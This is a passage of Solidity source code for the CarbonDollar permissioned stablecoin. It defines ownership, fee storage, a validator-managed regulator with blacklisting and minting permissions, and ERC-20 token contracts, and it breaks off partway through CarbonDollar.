* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
pendingOwner = _newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
* @title CarbonDollarStorage
* @notice Contains necessary storage contracts for CarbonDollar (FeeSheet and StablecoinWhitelist).
*/
contract CarbonDollarStorage is Ownable {
using SafeMath for uint256;
/**
Mappings
*/
/* fees for withdrawing to stablecoin, in tenths of a percent) */
mapping (address => uint256) public fees;
/** @dev Units for fees are always in a tenth of a percent */
uint256 public defaultFee;
/* is the token address referring to a stablecoin/whitelisted token? */
mapping (address => bool) public whitelist;
/**
Events
*/
event DefaultFeeChanged(uint256 oldFee, uint256 newFee);
event FeeChanged(address indexed stablecoin, uint256 oldFee, uint256 newFee);
event FeeRemoved(address indexed stablecoin, uint256 oldFee);
event StablecoinAdded(address indexed stablecoin);
event StablecoinRemoved(address indexed stablecoin);
/** @notice Sets the default fee for burning CarbonDollar into a whitelisted stablecoin.
@param _fee The default fee.
*/
function setDefaultFee(uint256 _fee) public onlyOwner {
uint256 oldFee = defaultFee;
defaultFee = _fee;
if (oldFee != defaultFee)
emit DefaultFeeChanged(oldFee, _fee);
}
/** @notice Set a fee for burning CarbonDollar into a stablecoin.
@param _stablecoin Address of a whitelisted stablecoin.
@param _fee the fee.
*/
function setFee(address _stablecoin, uint256 _fee) public onlyOwner {
uint256 oldFee = fees[_stablecoin];
fees[_stablecoin] = _fee;
if (oldFee != _fee)
emit FeeChanged(_stablecoin, oldFee, _fee);
}
/** @notice Remove the fee for burning CarbonDollar into a particular kind of stablecoin.
@param _stablecoin Address of stablecoin.
*/
function removeFee(address _stablecoin) public onlyOwner {
uint256 oldFee = fees[_stablecoin];
fees[_stablecoin] = 0;
if (oldFee != 0)
emit FeeRemoved(_stablecoin, oldFee);
}
/** @notice Add a token to the whitelist.
@param _stablecoin Address of the new stablecoin.
*/
function addStablecoin(address _stablecoin) public onlyOwner {
whitelist[_stablecoin] = true;
emit StablecoinAdded(_stablecoin);
}
/** @notice Removes a token from the whitelist.
@param _stablecoin Address of the ex-stablecoin.
*/
function removeStablecoin(address _stablecoin) public onlyOwner {
whitelist[_stablecoin] = false;
emit StablecoinRemoved(_stablecoin);
}
/**
* @notice Compute the fee that will be charged on a "burn" operation.
* @param _amount The amount that will be traded.
* @param _stablecoin The stablecoin whose fee will be used.
*/
function computeStablecoinFee(uint256 _amount, address _stablecoin) public view returns (uint256) {
uint256 fee = fees[_stablecoin];
return computeFee(_amount, fee);
}
/**
* @notice Compute the fee that will be charged on a "burn" operation.
* @param _amount The amount that will be traded.
* @param _fee The fee that will be charged, in tenths of a percent.
*/
function computeFee(uint256 _amount, uint256 _fee) public pure returns (uint256) {
return _amount.mul(_fee).div(1000);
}
}
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
/**
* @title PermissionedTokenStorage
* @notice a PermissionedTokenStorage is constructed by setting Regulator, BalanceSheet, and AllowanceSheet locations.
* Once the storages are set, they cannot be changed.
*/
contract PermissionedTokenStorage is Ownable {
using SafeMath for uint256;
/**
Storage
*/
mapping (address => mapping (address => uint256)) public allowances;
mapping (address => uint256) public balances;
uint256 public totalSupply;
function addAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowances[_tokenHolder][_spender] = allowances[_tokenHolder][_spender].add(_value);
}
function subAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowances[_tokenHolder][_spender] = allowances[_tokenHolder][_spender].sub(_value);
}
function setAllowance(address _tokenHolder, address _spender, uint256 _value) public onlyOwner {
allowances[_tokenHolder][_spender] = _value;
}
function addBalance(address _addr, uint256 _value) public onlyOwner {
balances[_addr] = balances[_addr].add(_value);
}
function subBalance(address _addr, uint256 _value) public onlyOwner {
balances[_addr] = balances[_addr].sub(_value);
}
function setBalance(address _addr, uint256 _value) public onlyOwner {
balances[_addr] = _value;
}
function addTotalSupply(uint256 _value) public onlyOwner {
totalSupply = totalSupply.add(_value);
}
function subTotalSupply(uint256 _value) public onlyOwner {
totalSupply = totalSupply.sub(_value);
}
function setTotalSupply(uint256 _value) public onlyOwner {
totalSupply = _value;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Lockable
* @dev Base contract which allows children to lock certain methods from being called by clients.
* Locked methods are deemed unsafe by default, but must be implemented in children functionality to adhere by
* some inherited standard, for example.
*/
contract Lockable is Ownable {
// Events
event Unlocked();
event Locked();
// Fields
bool public isMethodEnabled = false;
// Modifiers
/**
* @dev Modifier that disables functions by default unless they are explicitly enabled
*/
modifier whenUnlocked() {
require(isMethodEnabled);
_;
}
// Methods
/**
* @dev called by the owner to enable method
*/
function unlock() onlyOwner public {
isMethodEnabled = true;
emit Unlocked();
}
/**
* @dev called by the owner to disable method, back to normal state
*/
function lock() onlyOwner public {
isMethodEnabled = false;
emit Locked();
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism. Identical to OpenZeppelin version
* except that it uses local Ownable contract
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
*
* @dev Stores permissions and validators and provides setter and getter methods.
* Permissions determine which methods users have access to call. Validators
* are able to mutate permissions at the Regulator level.
*
*/
contract RegulatorStorage is Ownable {
/**
Structs
*/
/* Contains metadata about a permission to execute a particular method signature. */
struct Permission {
string name; // A one-word description for the permission. e.g. "canMint"
string description; // A longer description for the permission. e.g. "Allows user to mint tokens."
string contract_name; // e.g. "PermissionedToken"
bool active; // Permissions can be turned on or off by regulator
}
/**
Constants: stores method signatures. These are potential permissions that a user can have,
and each permission gives the user the ability to call the associated PermissionedToken method signature
*/
bytes4 public constant MINT_SIG = bytes4(keccak256("mint(address,uint256)"));
bytes4 public constant MINT_CUSD_SIG = bytes4(keccak256("mintCUSD(address,uint256)"));
bytes4 public constant DESTROY_BLACKLISTED_TOKENS_SIG = bytes4(keccak256("destroyBlacklistedTokens(address,uint256)"));
bytes4 public constant APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG = bytes4(keccak256("approveBlacklistedAddressSpender(address)"));
bytes4 public constant BLACKLISTED_SIG = bytes4(keccak256("blacklisted()"));
/**
Mappings
*/
/* each method signature maps to a Permission */
mapping (bytes4 => Permission) public permissions;
/* list of validators, either active or inactive */
mapping (address => bool) public validators;
/* each user can be given access to a given method signature */
mapping (address => mapping (bytes4 => bool)) public userPermissions;
/**
Events
*/
event PermissionAdded(bytes4 methodsignature);
event PermissionRemoved(bytes4 methodsignature);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
/**
Modifiers
*/
/**
* @notice Throws if called by any account that does not have access to set attributes
*/
modifier onlyValidator() {
require (isValidator(msg.sender), "Sender must be validator");
_;
}
/**
* @notice Sets a permission within the list of permissions.
* @param _methodsignature Signature of the method that this permission controls.
* @param _permissionName A "slug" name for this permission (e.g. "canMint").
* @param _permissionDescription A lengthier description for this permission (e.g. "Allows user to mint tokens").
* @param _contractName Name of the contract that the method belongs to.
*/
function addPermission(
bytes4 _methodsignature,
string _permissionName,
string _permissionDescription,
string _contractName) public onlyValidator {
Permission memory p = Permission(_permissionName, _permissionDescription, _contractName, true);
permissions[_methodsignature] = p;
emit PermissionAdded(_methodsignature);
}
/**
* @notice Removes a permission the list of permissions.
* @param _methodsignature Signature of the method that this permission controls.
*/
function removePermission(bytes4 _methodsignature) public onlyValidator {
permissions[_methodsignature].active = false;
emit PermissionRemoved(_methodsignature);
}
/**
* @notice Sets a permission in the list of permissions that a user has.
* @param _methodsignature Signature of the method that this permission controls.
*/
function setUserPermission(address _who, bytes4 _methodsignature) public onlyValidator {
require(permissions[_methodsignature].active, "Permission being set must be for a valid method signature");
userPermissions[_who][_methodsignature] = true;
}
/**
* @notice Removes a permission from the list of permissions that a user has.
* @param _methodsignature Signature of the method that this permission controls.
*/
function removeUserPermission(address _who, bytes4 _methodsignature) public onlyValidator {
require(permissions[_methodsignature].active, "Permission being removed must be for a valid method signature");
userPermissions[_who][_methodsignature] = false;
}
/**
* @notice add a Validator
* @param _validator Address of validator to add
*/
function addValidator(address _validator) public onlyOwner {
validators[_validator] = true;
emit ValidatorAdded(_validator);
}
/**
* @notice remove a Validator
* @param _validator Address of validator to remove
*/
function removeValidator(address _validator) public onlyOwner {
validators[_validator] = false;
emit ValidatorRemoved(_validator);
}
/**
* @notice does validator exist?
* @return true if yes, false if no
**/
function isValidator(address _validator) public view returns (bool) {
return validators[_validator];
}
/**
* @notice does permission exist?
* @return true if yes, false if no
**/
function isPermission(bytes4 _methodsignature) public view returns (bool) {
return permissions[_methodsignature].active;
}
/**
* @notice get Permission structure
* @param _methodsignature request to retrieve the Permission struct for this methodsignature
* @return Permission
**/
function getPermission(bytes4 _methodsignature) public view returns
(string name,
string description,
string contract_name,
bool active) {
return (permissions[_methodsignature].name,
permissions[_methodsignature].description,
permissions[_methodsignature].contract_name,
permissions[_methodsignature].active);
}
/**
* @notice does permission exist?
* @return true if yes, false if no
**/
function hasUserPermission(address _who, bytes4 _methodsignature) public view returns (bool) {
return userPermissions[_who][_methodsignature];
}
}
/**
* @title Regulator
* @dev Regulator can be configured to meet relevant securities regulations, KYC policies
* AML requirements, tax laws, and more. The Regulator ensures that the PermissionedToken
* makes compliant transfers possible. Contains the userPermissions necessary
* for regulatory compliance.
*
*/
contract Regulator is RegulatorStorage {
/**
Modifiers
*/
/**
* @notice Throws if called by any account that does not have access to set attributes
*/
modifier onlyValidator() {
require (isValidator(msg.sender), "Sender must be validator");
_;
}
/**
Events
*/
event LogBlacklistedUser(address indexed who);
event LogRemovedBlacklistedUser(address indexed who);
event LogSetMinter(address indexed who);
event LogRemovedMinter(address indexed who);
event LogSetBlacklistDestroyer(address indexed who);
event LogRemovedBlacklistDestroyer(address indexed who);
event LogSetBlacklistSpender(address indexed who);
event LogRemovedBlacklistSpender(address indexed who);
/**
* @notice Sets the necessary permissions for a user to mint tokens.
* @param _who The address of the account that we are setting permissions for.
*/
function setMinter(address _who) public onlyValidator {
_setMinter(_who);
}
/**
* @notice Removes the necessary permissions for a user to mint tokens.
* @param _who The address of the account that we are removing permissions for.
*/
function removeMinter(address _who) public onlyValidator {
_removeMinter(_who);
}
/**
* @notice Sets the necessary permissions for a user to spend tokens from a blacklisted account.
* @param _who The address of the account that we are setting permissions for.
*/
function setBlacklistSpender(address _who) public onlyValidator {
require(isPermission(APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG), "Blacklist spending not supported by token");
setUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG);
emit LogSetBlacklistSpender(_who);
}
/**
* @notice Removes the necessary permissions for a user to spend tokens from a blacklisted account.
* @param _who The address of the account that we are removing permissions for.
*/
function removeBlacklistSpender(address _who) public onlyValidator {
require(isPermission(APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG), "Blacklist spending not supported by token");
removeUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG);
emit LogRemovedBlacklistSpender(_who);
}
/**
* @notice Sets the necessary permissions for a user to destroy tokens from a blacklisted account.
* @param _who The address of the account that we are setting permissions for.
*/
function setBlacklistDestroyer(address _who) public onlyValidator {
require(isPermission(DESTROY_BLACKLISTED_TOKENS_SIG), "Blacklist token destruction not supported by token");
setUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG);
emit LogSetBlacklistDestroyer(_who);
}
/**
* @notice Removes the necessary permissions for a user to destroy tokens from a blacklisted account.
* @param _who The address of the account that we are removing permissions for.
*/
function removeBlacklistDestroyer(address _who) public onlyValidator {
require(isPermission(DESTROY_BLACKLISTED_TOKENS_SIG), "Blacklist token destruction not supported by token");
removeUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG);
emit LogRemovedBlacklistDestroyer(_who);
}
/**
* @notice Sets the necessary permissions for a "blacklisted" user. A blacklisted user has their accounts
* frozen; they cannot transfer, burn, or withdraw any tokens.
* @param _who The address of the account that we are setting permissions for.
*/
function setBlacklistedUser(address _who) public onlyValidator {
_setBlacklistedUser(_who);
}
/**
* @notice Removes the necessary permissions for a "blacklisted" user. A blacklisted user has their accounts
* frozen; they cannot transfer, burn, or withdraw any tokens.
* @param _who The address of the account that we are changing permissions for.
*/
function removeBlacklistedUser(address _who) public onlyValidator {
_removeBlacklistedUser(_who);
}
/** Returns whether or not a user is blacklisted.
* @param _who The address of the account in question.
* @return `true` if the user is blacklisted, `false` otherwise.
*/
function isBlacklistedUser(address _who) public view returns (bool) {
return (hasUserPermission(_who, BLACKLISTED_SIG));
}
/** Returns whether or not a user is a blacklist spender.
* @param _who The address of the account in question.
* @return `true` if the user is a blacklist spender, `false` otherwise.
*/
function isBlacklistSpender(address _who) public view returns (bool) {
return hasUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG);
}
/** Returns whether or not a user is a blacklist destroyer.
* @param _who The address of the account in question.
* @return `true` if the user is a blacklist destroyer, `false` otherwise.
*/
function isBlacklistDestroyer(address _who) public view returns (bool) {
return hasUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG);
}
/** Returns whether or not a user is a minter.
* @param _who The address of the account in question.
* @return `true` if the user is a minter, `false` otherwise.
*/
function isMinter(address _who) public view returns (bool) {
return (hasUserPermission(_who, MINT_SIG) && hasUserPermission(_who, MINT_CUSD_SIG));
}
/** Internal Functions **/
function _setMinter(address _who) internal {
require(isPermission(MINT_SIG), "Minting not supported by token");
require(isPermission(MINT_CUSD_SIG), "Minting to CUSD not supported by token");
setUserPermission(_who, MINT_SIG);
setUserPermission(_who, MINT_CUSD_SIG);
emit LogSetMinter(_who);
}
function _removeMinter(address _who) internal {
require(isPermission(MINT_SIG), "Minting not supported by token");
require(isPermission(MINT_CUSD_SIG), "Minting to CUSD not supported by token");
removeUserPermission(_who, MINT_CUSD_SIG);
removeUserPermission(_who, MINT_SIG);
emit LogRemovedMinter(_who);
}
function _setBlacklistedUser(address _who) internal {
require(isPermission(BLACKLISTED_SIG), "Self-destruct method not supported by token");
setUserPermission(_who, BLACKLISTED_SIG);
emit LogBlacklistedUser(_who);
}
function _removeBlacklistedUser(address _who) internal {
require(isPermission(BLACKLISTED_SIG), "Self-destruct method not supported by token");
removeUserPermission(_who, BLACKLISTED_SIG);
emit LogRemovedBlacklistedUser(_who);
}
}
/**
* @title PermissionedToken
* @notice A permissioned token that enables transfers, withdrawals, and deposits to occur
* if and only if it is approved by an on-chain Regulator service. PermissionedToken is an
* ERC-20 smart contract representing ownership of securities and overrides the
* transfer, burn, and mint methods to check with the Regulator.
*/
contract PermissionedToken is ERC20, Pausable, Lockable {
using SafeMath for uint256;
/** Events */
event DestroyedBlacklistedTokens(address indexed account, uint256 amount);
event ApprovedBlacklistedAddressSpender(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 value);
event Burn(address indexed burner, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event ChangedRegulator(address indexed oldRegulator, address indexed newRegulator );
PermissionedTokenStorage public tokenStorage;
Regulator public regulator;
/**
* @dev create a new PermissionedToken with a brand new data storage
**/
constructor (address _regulator) public {
regulator = Regulator(_regulator);
tokenStorage = new PermissionedTokenStorage();
}
/** Modifiers **/
/** @notice Modifier that allows function access to be restricted based on
* whether the regulator allows the message sender to execute that function.
**/
modifier requiresPermission() {
require (regulator.hasUserPermission(msg.sender, msg.sig), "User does not have permission to execute function");
_;
}
/** @notice Modifier that checks whether or not a transferFrom operation can
* succeed with the given _from and _to address. See transferFrom()'s documentation for
* more details.
**/
modifier transferFromConditionsRequired(address _from, address _to) {
require(!regulator.isBlacklistedUser(_to), "Recipient cannot be blacklisted");
// If the origin user is blacklisted, the transaction can only succeed if
// the message sender is a user that has been approved to transfer
// blacklisted tokens out of this address.
bool is_origin_blacklisted = regulator.isBlacklistedUser(_from);
// Is the message sender a person with the ability to transfer tokens out of a blacklisted account?
bool sender_can_spend_from_blacklisted_address = regulator.isBlacklistSpender(msg.sender);
require(!is_origin_blacklisted || sender_can_spend_from_blacklisted_address, "Origin cannot be blacklisted if spender is not an approved blacklist spender");
_;
}
/** @notice Modifier that checks whether a user is blacklisted.
* @param _user The address of the user to check.
**/
modifier userBlacklisted(address _user) {
require(regulator.isBlacklistedUser(_user), "User must be blacklisted");
_;
}
/** @notice Modifier that checks whether a user is not blacklisted.
* @param _user The address of the user to check.
**/
modifier userNotBlacklisted(address _user) {
require(!regulator.isBlacklistedUser(_user), "User must not be blacklisted");
_;
}
/** Functions **/
/**
* @notice Allows user to mint if they have the appropriate permissions. User generally
* must have minting authority.
* @dev Should be access-restricted with the 'requiresPermission' modifier when implementing.
* @param _to The address of the receiver
* @param _amount The number of tokens to mint
*/
function mint(address _to, uint256 _amount) public userNotBlacklisted(_to) requiresPermission whenNotPaused {
_mint(_to, _amount);
}
/**
* @notice Remove CUSD from supply
* @param _amount The number of tokens to burn
* @return `true` if successful and `false` if unsuccessful
*/
function burn(uint256 _amount) userNotBlacklisted(msg.sender) public whenNotPaused {
_burn(msg.sender, _amount);
}
/**
* @notice Implements ERC-20 standard approve function. Locked or disabled by default to protect against
* double spend attacks. To modify allowances, clients should call safer increase/decreaseApproval methods.
* Upon construction, all calls to approve() will revert unless this contract owner explicitly unlocks approve()
*/
function approve(address _spender, uint256 _value)
public userNotBlacklisted(_spender) userNotBlacklisted(msg.sender) whenNotPaused whenUnlocked returns (bool) {
tokenStorage.setAllowance(msg.sender, _spender, _value);
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* @notice increaseApproval should be used instead of approve when the user's allowance
* is greater than 0. Using increaseApproval protects against potential double-spend attacks
* by moving the check of whether the user has spent their allowance to the time that the transaction
* is mined, removing the user's ability to double-spend
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue)
public userNotBlacklisted(_spender) userNotBlacklisted(msg.sender) whenNotPaused returns (bool) {
_increaseApproval(_spender, _addedValue, msg.sender);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* @notice decreaseApproval should be used instead of approve when the user's allowance
* is greater than 0. Using decreaseApproval protects against potential double-spend attacks
* by moving the check of whether the user has spent their allowance to the time that the transaction
* is mined, removing the user's ability to double-spend
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue)
public userNotBlacklisted(_spender) userNotBlacklisted(msg.sender) whenNotPaused returns (bool) {
_decreaseApproval(_spender, _subtractedValue, msg.sender);
return true;
}
/**
* @notice Destroy the tokens owned by a blacklisted account. This function can generally
* only be called by a central authority.
* @dev Should be access-restricted with the 'requiresPermission' modifier when implementing.
* @param _who Account to destroy tokens from. Must be a blacklisted account.
*/
function destroyBlacklistedTokens(address _who, uint256 _amount) public userBlacklisted(_who) whenNotPaused requiresPermission {
tokenStorage.subBalance(_who, _amount);
tokenStorage.subTotalSupply(_amount);
emit DestroyedBlacklistedTokens(_who, _amount);
}
/**
* @notice Allows a central authority to approve themselves as a spender on a blacklisted account.
* By default, the allowance is set to the balance of the blacklisted account, so that the
* authority has full control over the account balance.
* @dev Should be access-restricted with the 'requiresPermission' modifier when implementing.
* @param _blacklistedAccount The blacklisted account.
*/
function approveBlacklistedAddressSpender(address _blacklistedAccount)
public userBlacklisted(_blacklistedAccount) whenNotPaused requiresPermission {
tokenStorage.setAllowance(_blacklistedAccount, msg.sender, balanceOf(_blacklistedAccount));
emit ApprovedBlacklistedAddressSpender(_blacklistedAccount, msg.sender, balanceOf(_blacklistedAccount));
}
/**
* @notice Initiates a "send" operation towards another user. See `transferFrom` for details.
* @param _to The address of the receiver. This user must not be blacklisted, or else the tranfer
* will fail.
* @param _amount The number of tokens to transfer
*
* @return `true` if successful
*/
function transfer(address _to, uint256 _amount) public userNotBlacklisted(_to) userNotBlacklisted(msg.sender) whenNotPaused returns (bool) {
_transfer(_to, msg.sender, _amount);
return true;
}
/**
* @notice Initiates a transfer operation between address `_from` and `_to`. Requires that the
* message sender is an approved spender on the _from account.
* @dev When implemented, it should use the transferFromConditionsRequired() modifier.
* @param _to The address of the recipient. This address must not be blacklisted.
* @param _from The address of the origin of funds. This address _could_ be blacklisted, because
* a regulator may want to transfer tokens out of a blacklisted account, for example.
* In order to do so, the regulator would have to add themselves as an approved spender
* on the account via `addBlacklistAddressSpender()`, and would then be able to transfer tokens out of it.
* @param _amount The number of tokens to transfer
* @return `true` if successful
*/
function transferFrom(address _from, address _to, uint256 _amount)
public whenNotPaused transferFromConditionsRequired(_from, _to) returns (bool) {
require(_amount <= allowance(_from, msg.sender),"not enough allowance to transfer");
_transfer(_to, _from, _amount);
tokenStorage.subAllowance(_from, msg.sender, _amount);
return true;
}
/**
*
* @dev Only the token owner can change its regulator
* @param _newRegulator the new Regulator for this token
*
*/
function setRegulator(address _newRegulator) public onlyOwner {
require(_newRegulator != address(regulator), "Must be a new regulator");
require(AddressUtils.isContract(_newRegulator), "Cannot set a regulator storage to a non-contract address");
address old = address(regulator);
regulator = Regulator(_newRegulator);
emit ChangedRegulator(old, _newRegulator);
}
/**
* @notice If a user is blacklisted, they will have the permission to
* execute this dummy function. This function effectively acts as a marker
* to indicate that a user is blacklisted. We include this function to be consistent with our
* invariant that every possible userPermission (listed in Regulator) enables access to a single
* PermissionedToken function. Thus, the 'BLACKLISTED' permission gives access to this function
* @return `true` if successful
*/
function blacklisted() public view requiresPermission returns (bool) {
return true;
}
/**
* ERC20 standard functions
*/
function allowance(address owner, address spender) public view returns (uint256) {
return tokenStorage.allowances(owner, spender);
}
function totalSupply() public view returns (uint256) {
return tokenStorage.totalSupply();
}
function balanceOf(address _addr) public view returns (uint256) {
return tokenStorage.balances(_addr);
}
/** Internal functions **/
function _decreaseApproval(address _spender, uint256 _subtractedValue, address _tokenHolder) internal {
uint256 oldValue = allowance(_tokenHolder, _spender);
if (_subtractedValue > oldValue) {
tokenStorage.setAllowance(_tokenHolder, _spender, 0);
} else {
tokenStorage.subAllowance(_tokenHolder, _spender, _subtractedValue);
}
emit Approval(_tokenHolder, _spender, allowance(_tokenHolder, _spender));
}
function _increaseApproval(address _spender, uint256 _addedValue, address _tokenHolder) internal {
tokenStorage.addAllowance(_tokenHolder, _spender, _addedValue);
emit Approval(_tokenHolder, _spender, allowance(_tokenHolder, _spender));
}
function _burn(address _tokensOf, uint256 _amount) internal {
require(_tokensOf != address(0),"burner address cannot be 0x0");
require(_amount <= balanceOf(_tokensOf),"not enough balance to burn");
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
tokenStorage.subBalance(_tokensOf, _amount);
tokenStorage.subTotalSupply(_amount);
emit Burn(_tokensOf, _amount);
emit Transfer(_tokensOf, address(0), _amount);
}
function _mint(address _to, uint256 _amount) internal {
require(_to != address(0),"to address cannot be 0x0");
tokenStorage.addTotalSupply(_amount);
tokenStorage.addBalance(_to, _amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function _transfer(address _to, address _from, uint256 _amount) internal {
require(_to != address(0),"to address cannot be 0x0");
require(_amount <= balanceOf(_from),"not enough balance to transfer");
tokenStorage.addBalance(_to, _amount);
tokenStorage.subBalance(_from, _amount);
emit Transfer(_from, _to, _amount);
}
}
/**
* @title WhitelistedToken
* @notice A WhitelistedToken can be converted into CUSD and vice versa. Converting a WT into a CUSD
* is the only way for a user to obtain CUSD. This is a permissioned token, so users have to be
* whitelisted before they can do any mint/burn/convert operation.
*/
contract WhitelistedToken is PermissionedToken {
address public cusdAddress;
/**
Events
*/
event CUSDAddressChanged(address indexed oldCUSD, address indexed newCUSD);
event MintedToCUSD(address indexed user, uint256 amount);
event ConvertedToCUSD(address indexed user, uint256 amount);
/**
* @notice Constructor sets the regulator contract and the address of the
* CarbonUSD meta-token contract. The latter is necessary in order to make transactions
* with the CarbonDollar smart contract.
*/
constructor(address _regulator, address _cusd) public PermissionedToken(_regulator) {
// base class fields
regulator = Regulator(_regulator);
cusdAddress = _cusd;
}
/**
* @notice Mints CarbonUSD for the user. Stores the WT0 that backs the CarbonUSD
* into the CarbonUSD contract's escrow account.
* @param _to The address of the receiver
* @param _amount The number of CarbonTokens to mint to user
*/
function mintCUSD(address _to, uint256 _amount) public requiresPermission whenNotPaused userNotBlacklisted(_to) {
return _mintCUSD(_to, _amount);
}
/**
* @notice Converts WT0 to CarbonUSD for the user. Stores the WT0 that backs the CarbonUSD
* into the CarbonUSD contract's escrow account.
* @param _amount The number of Whitelisted tokens to convert
*/
function convertWT(uint256 _amount) public userNotBlacklisted(msg.sender) whenNotPaused {
require(balanceOf(msg.sender) >= _amount, "Conversion amount should be less than balance");
_burn(msg.sender, _amount);
_mintCUSD(msg.sender, _amount);
emit ConvertedToCUSD(msg.sender, _amount);
}
/**
* @notice Change the cusd address.
* @param _cusd the cusd address.
*/
function setCUSDAddress(address _cusd) public onlyOwner {
require(_cusd != address(cusdAddress), "Must be a new cusd address");
require(AddressUtils.isContract(_cusd), "Must be an actual contract");
address oldCUSD = address(cusdAddress);
cusdAddress = _cusd;
emit CUSDAddressChanged(oldCUSD, _cusd);
}
function _mintCUSD(address _to, uint256 _amount) internal {
require(_to != cusdAddress, "Cannot mint to CarbonUSD contract"); // This is to prevent Carbon Labs from printing money out of thin air!
CarbonDollar(cusdAddress).mint(_to, _amount);
_mint(cusdAddress, _amount);
emit MintedToCUSD(_to, _amount);
}
}
/**
* @title CarbonDollar
* @notice The main functionality for the CarbonUSD metatoken. (CarbonUSD is just a proxy
* that implements this contract's functionality.) This is a permissioned token, so users have to be
* whitelisted before they can do any mint/burn/convert operation. Every CarbonDollar token is backed by one
* whitelisted stablecoin credited to the balance of this contract address.
*/
contract CarbonDollar is PermissionedToken {
// Events
event ConvertedToWT(address indexed user, uint256 amount);
event BurnedCUSD(address indexed user, uint256 feedAmount, uint256 chargedFee);
/**
Modifiers
*/
modifier requiresWhitelistedToken() {
require(isWhitelisted(msg.sender), "Sender must be a whitelisted token contract");
_;
}
CarbonDollarStorage public tokenStorage_CD;
/** CONSTRUCTOR
* @dev Passes along arguments to base class.
*/
constructor(address _regulator) public PermissionedToken(_regulator) {
// base class override
regulator = Regulator(_regulator);
tokenStorage_CD = new CarbonDollarStorage();
}
/**
* @notice Add new stablecoin to whitelist.
* @param _stablecoin Address of stablecoin contract.
*/
function listToken(address _stablecoin) public onlyOwner whenNotPaused {
tokenStorage_CD.addStablecoin(_stablecoin);
}
/**
* @notice Remove existing stablecoin from whitelist.
* @param _stablecoin Address of stablecoin contract.
*/
function unlistToken(address _stablecoin) public onlyOwner whenNotPaused {
tokenStorage_CD.removeStablecoin(_stablecoin);
}
/**
* @notice Change fees associated with going from CarbonUSD to a particular stablecoin.
* @param stablecoin Address of the stablecoin contract.
* @param _newFee The new fee rate to set, in tenths of a percent.
*/
function setFee(address stablecoin, uint256 _newFee) public onlyOwner whenNotPaused {
require(isWhitelisted(stablecoin), "Stablecoin must be whitelisted prior to setting conversion fee");
tokenStorage_CD.setFee(stablecoin, _newFee);
}
/**
* @notice Remove fees associated with going from CarbonUSD to a particular stablecoin.
* The default fee still may apply.
* @param stablecoin Address of the stablecoin contract.
*/
function removeFee(address stablecoin) public onlyOwner whenNotPaused {
require(isWhitelisted(stablecoin), "Stablecoin must be whitelisted prior to setting conversion fee");
tokenStorage_CD.removeFee(stablecoin);
}
/**
* @notice Change the default fee associated with going from CarbonUSD to a WhitelistedToken.
* This fee amount is used if the fee for a WhitelistedToken is not specified.
* @param _newFee The new fee rate to set, in tenths of a percent.
*/
function setDefaultFee(uint256 _newFee) public onlyOwner whenNotPaused {
tokenStorage_CD.setDefaultFee(_newFee);
}
/**
